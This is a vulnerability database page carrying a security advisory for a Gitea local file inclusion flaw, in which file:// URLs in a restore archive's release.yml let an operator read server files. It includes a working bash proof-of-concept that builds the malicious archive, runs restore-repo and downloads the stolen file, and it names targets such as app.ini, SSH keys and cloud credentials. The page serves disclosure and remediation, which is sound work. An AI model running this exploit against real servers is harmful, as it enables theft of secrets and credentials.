Gitea
CVE-2026-58420
MEDIUM
Severity by source
Local CLI command requires operator shell access (AV:L, PR:H); no complexity barriers once access obtained (AC:L); confidentiality-only impact with no write or availability effect (C:H/I:N/A:N).
Estimated by vuln.today — no official severity rating has been published for this CVE yet.
Lifecycle Timeline
2DescriptionCVE.org
Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers:
- Isa Can - Eresus Security (https://github.com/isa0-gh)
- Yigit Ibrahim - Eresus Security (https://github.com/ibrahmsql)
---
Summary
Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.
---
Impact
An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:
- app.ini - containing database passwords and secret keys
- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
- TLS certificates and private keys
- Cloud provider credential files (e.g. ~/.aws/credentials)
- Any other file readable by the Gitea process user
The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.
---
Affected Code
modules/uri/uri.go
func Open(rawURL string) (io.ReadCloser, error) {
u, err := url.Parse(rawURL)
if err != nil {
return nil, err
}
switch u.Scheme {
case "http", "https":
resp, err := http.Get(rawURL)
...
case "file":
return os.Open(u.Path) // no scheme validation, no path restriction
}
}services/migrations/gitea_uploader.go (~line 370)
func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
for _, rel := range releases {
for _, asset := range rel.Assets {
rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
...
// file content saved as release attachment
}
}
}---
Attack Scenario
An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:
- Create a malicious archive containing release.yml:
releases:
- tag_name: v0.0.1
assets:
- name: exfiltrated.txt
download_url: "file:///etc/passwd"- Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo- The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
- Retrieve via API:
curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
-H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'---
PoC
> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.
#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)
GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"1. Create target org and repo via API
curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true
curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true2. Build malicious archive
TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"
cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
- tag_name: v0.0.1
name: test
body: ""
draft: false
prerelease: false
assets:
- name: output.txt
download_url: "file://$TARGET_FILE"
size: 0
download_count: 0
YAML
cd "$TMP" && zip -r poc.zip bundles/3. Trigger restore
gitea restore-repo \
--zip-path "$TMP/poc.zip" \
--owner "$OWNER" \
--repo "$REPO" \
--units release 2>&14. Retrieve exfiltrated content
echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')
curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"
rm -rf "$TMP"---
Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.
---
Fix Recommendation
In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():
parsed, err := url.Parse(asset.DownloadURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
continue
}
rc, err := uri.Open(asset.DownloadURL)
Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.---
Workaround
Until a patch is available, operators should:
- Restrict restore-repo execution to fully trusted operators only
- Audit all archive contents manually before running restoration
- Review existing release attachments for unexpected or sensitive filenames
---
Isa Can Security Researcher - Eresus Security https://github.com/isa0-gh
Yigit Ibrahim Security Researcher - Eresus Security https://github.com/ibrahmsql
AnalysisAI
Local file inclusion in Gitea's restore-repo CLI command allows operator-level attackers to exfiltrate arbitrary server-side files by embedding file:// URIs in release attachment DownloadURL fields within a crafted restore archive. Affected across all releases through v1.22.x (and unpatched master builds), with a fixed version available at 1.27.0. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the ability to execute the gitea restore-repo CLI command directly on the host running the Gitea instance, which in practice means operator-level shell access to the server or the ability to supply a crafted archive to a trusted administrator who runs the command on the attacker's behalf. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No NVD CVSS vector was provided for this CVE, so all metric assessments below are independently derived from the description. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An operator with shell access on the Gitea host constructs a zip archive containing a release.yml that sets the DownloadURL of a release asset to file:///etc/gitea/app.ini, then executes gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo --units release. The Gitea process reads app.ini via os.Open() and stores its contents as a release attachment named output.txt, which the attacker subsequently retrieves unauthenticated or via the Gitea API using an admin token. … |
| Remediation | Upgrade to Gitea 1.27.0 or later, which is the confirmed fixed release per the pkg:go/gitea.dev vulnerability record. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t
Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before
Same weakness CWE-73 – External Control of File Name or Path
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-5ggr-2f2h-jmvm